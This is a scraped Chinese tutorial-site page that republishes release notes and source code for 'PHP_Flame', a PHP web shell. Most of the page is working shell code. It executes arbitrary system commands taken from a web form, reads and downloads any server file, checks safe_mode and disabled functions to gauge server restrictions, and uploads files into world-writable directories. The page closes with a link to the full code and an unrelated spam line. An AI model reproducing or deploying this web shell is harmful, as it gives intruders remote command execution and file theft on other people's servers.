<form id="hz9zz"></form>
  • <form id="hz9zz"></form>

      <nobr id="hz9zz"></nobr>

      <form id="hz9zz"></form>

    1. 明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

      PHP_Flame(Version:Progress)的原代碼

      [摘要]IPHP_Flame (Version: Progress ) 的一些信息: *修正了無法下載文件的BUG *修正了無法返回上級的BUG *修正了代碼編輯出現錯誤的BUG ...... *增加PHPINFO的功能 *增加多文件下載的功能 *增加執行系統命令的功能 *增加代碼查看功能 *增加服務器安...

      IPHP_Flame (Version: Progress ) 的一些信息:



      *修正了無法下載文件的BUG
      *修正了無法返回上級的BUG
      *修正了代碼編輯出現錯誤的BUG
      ......

      *增加PHPINFO的功能
      *增加多文件下載的功能
      *增加執行系統命令的功能
      *增加代碼查看功能
      *增加服務器安全探測功能
      .......

      *還有許多美化工作。。。。。。 相關的資料:


      1。修正了無法返回上級的BUG的代碼:
      echo "<a href=\"$php_self?act=dir&dir=$dir\..\">返回上級</a>";


      2。修正了無法下載文件的相關代碼:
      case "download":
      if (!@is_file($_GET['file_name']))
      echo"你要下的文件不存在";
      $filename = basename($_GET['file_name']);
      $filename_info = explode('.', $filename);
      $fileext = $filename_info[count($filename_info)-1];
      header('Content-type: application/x-'.$fileext);
      header('Content-Disposition: attachment; filename='.$filename);
      header('Content-Description: PHP3 Generated Data');
      readfile($_GET['file_name']);
      break;



      3。增加代碼查看功能
      <a href="<?echo$php_self;?>?actionaa=cmd&method=show_source&cmd=<? echo $_GET['file'];?>" target=_blank>文件代碼</a>


      4。修正了代碼編輯出現錯誤的代碼:
      $tem= str_replace("/textarea>","http://textarea>",$tem);
      。。。。。
      $tem= str_replace("http://textarea>","/textarea>",$tem);


      5。增加服務器安全探測功能:
      if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
      echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
      if ($dis_func=="")
      {
      echo("<font color=red><b>no value</b></font>");
      }
      else
      {
      $dis_func=str_replace(" ","<br>",$dis_func);
      $dis_func=str_replace(",","<br>",$dis_func);
      echo("$dis_func");
      }


      6。執行系統命令部分的代碼:
      <?
      if ($actionaa=="cmd") { ?>
      <body bgcolor="#6595d6">
      <form name="form1" method="post" action="<?= $PHP_SELF ?>?actionaa=cmd">
      <select name="method">
      <option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option>
      <option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option>
      <option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option>
      <option value="opendir" <? if ($method=="opendir") { echo "selected"; } ?>>opendir</option>
      <option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option>
      </select><br>

      <input type="text" name="cmd" size="40" value="<?= $cmd; ?>">
      <input type="submit" name="Submit" value="<?=$method?>">
      <br>
      </form>
      <?
      if (!$method) { $method="system"; }
      if (!$cmd) {
      echo "* JSW'S PHP FLAME<br>";
      echo "* Author: JSW<br>";
      echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
      echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
      if ($dis_func=="")
      {
      echo("<font color=red><b>no value</b></font>");
      }
      else
      {
      $dis_func=str_replace(" ","<br>",$dis_func);
      $dis_func=str_replace(",","<br>",$dis_func);
      echo("$dis_func");
      }

      echo "<br>* Now please choose a function and enter the command......";
      }
      echo "<br><pre>";
      if ($method=="system") {
      system("$cmd 2>&1");
      }
      if ($method=="passthru") {
      passthru("$cmd 2>&1");
      }
      if ($method=="opendir") {
      $h=opendir($cmd);
      while($file=readdir($h)) {
      echo "$file\n";
      }
      }
      if ($method=="show_source") {
      if (show_source($cmd)) {
      //echo "<pre>";
      //echo show_source($file);
      //echo "</pre>";
      } else {
      echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
      }

      }
      if ($method=="popen") {
      $pp = popen('$cmd 2>&1', 'r');
      $read = fread($pp, 2096);
      echo $read;
      pclose($pp);
      }
      echo "</pre>";
      exit;
      }
      ?>

      7。增加文件上載的代碼:
      <?php
      if($dir=="")
      $dir="./";
      ?>
      <?
      if($tools==upload)
      {
      for($i=1;$i<21;$i++)
      {
      $temp1="userfile".$i;
      $temp2="userfile".$i."_name";
      $source=$$temp1;
      $source_name=$$temp2;
      if(@$source!="")
      {
      @$v=file_exists($filedir);
      if(!$v)
      {
      mkdir(@$filedir,0777);
      }
      @chmod($filedir,0777);
      if(file_exists("$filedir/$source_name")=="1")
      {
      if($up_flag=="y")
      {
      @unlink($filedir/$source_name);
      @copy($source,"$filedir/$source_name");
      echo $source_name."已覆蓋上傳<br>";
      }
      else
      echo $source_name."請重新上傳!<br>";
      }
      else
      {
      @copy($source,"$filedir/$source_name");
      echo $source_name."已上傳<br>";
      }
      }
      }//end for
      echo"
      <html>
      <head>
      <title>JSW'S PHP FLAME</title>
      <meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
      <link href=t.css rel=stylesheet type=text/css>
      <script language=\"javascript\">
      function setid()
      {
      str='<br>';
      if(!window.uploadForm.upcount.value
      window.uploadForm.upcount.value>20
      window.uploadForm.upcount.value==0)
      window.uploadForm.upcount.value=1;
      for(i=1;i<=window.uploadForm.upcount.value;i++)
      str+='文件'+i+':<input type=\"file\" name=\"userfile'+i+'\" style=\"width:400\" class=\"tx1\"><br><br>';
      window.upid.innerHTML=str+'<br>';
      }
      </script>
      </head>
      <body>
      <body bgcolor=\"#6595d6\">
      <table width=\"550\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\">
      <form name=\"t\" method=\"get\" action=\"?\">
      <tr class=\"t2\">
      <td><li> 1.指定上傳目錄(默認為本程序所在目錄)
      <input type=\"hidden\" name=\"tools\" value=\"upload\">
      <input type=\"text\" name=\"dir\">
      <input type=\"submit\" value=\"確定\" name=\"t\"></td></li>
      </tr>
      </form>
      <form name=\"uploadForm\" method=\"post\" action=\"?tools=upload&dir=$dir\" enctype=\"multipart/form-data\">
      <tr class=\"t2\">
      <td>
      <li> 2.需要上傳的個數(建議最大值 20)
      <input type=\"text\" name=\"upcount\" class=\"tx\" value=\"1\">
      <input type=\"button\" name=\"Button\" class=\"bt\" onclick=\"setid();\" value=\"設定\">
      </li>
      <li> 3.全部文件都覆蓋上傳: <input type=\"radio\" name=\"up_flag\" value=\"y\">是<input type=\"radio\" name=\"up_flag\" value=\"n\" checked>否
      </li>
      <br>
      <br>
      您的文件將被上傳到: $dir
      <input type=\"hidden\" name=\"filedir\" class=\"tx\" value=\"$dir\">
      <a href=\"?\">返回PHP_Flame</a>
      </td>
      </tr>
      <tr>
      <td id=\"upid\" height=\"122\"> 文件1:
      <input type=\"file\" name=\"userfile1\" style=\"width:400\" class=\"tx1\" value=\"\">
      </td>
      </tr>
      <tr>
      <td>
      <input type=\"submit\" name=\"upload\" value=\"上傳\" class=\"bt\">
      <input type=\"reset\" name=\"reset\" value=\"重執\" class=\"bt\">
      </td>
      </tr></form>
      </table>
      </body>
      </html>";
      exit;}
      ?>


      。。。。。。
      最后指明的是,這個PHP程序是在安然的PHP Command的基礎上編寫的,在此表示感謝,完整代碼:http://jsw.china12e.com/jswsoft/show.php


      日韩精品一区二区三区高清